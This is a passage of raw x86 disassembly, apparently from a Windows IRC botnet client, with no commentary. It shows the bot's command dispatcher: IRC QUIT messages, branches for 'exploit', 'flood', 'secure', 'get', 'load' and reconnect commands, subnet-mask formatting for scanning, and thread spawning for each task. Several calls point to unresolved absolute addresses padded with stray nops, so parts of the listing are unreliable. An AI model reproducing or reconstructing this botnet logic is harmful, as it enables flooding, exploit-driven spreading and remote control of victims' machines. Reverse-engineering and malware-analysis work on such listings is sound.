		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 26B0BDDh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF54
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF34


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF10
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	near ptr 26A0CACh
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEBC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA7C
		call	dword_4CB93C
		call	sub_4188A6
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BEA4
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE8C


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42BE3C
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE24
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE20
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE00
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42BDC4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aScortiser ; "scortiser"
		push	offset unk_42BDAC


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD80
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD30
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD00
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCF0
		push	offset dword_42BCE0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD4
		push	offset dword_42BCC4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC9C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42BC60
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC34
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset unk_42BBF4
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBC0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42BB84
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB34
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB24
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD58
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BACC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD58
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF190, ebx
		jz	short loc_404A01
		push	offset dword_4CEB70


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA90
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA50
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB70
		call	sub_41C890
		pop	ecx
		mov	dword_4CF190, 1
		pop	ecx
		push	edi
		push	offset unk_42BA24


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9EC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0475h
		nop
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	near ptr 26A0CACh
		nop
		push	eax
		push	offset unk_42B9AC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	near ptr 26B0BDDh
		nop
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
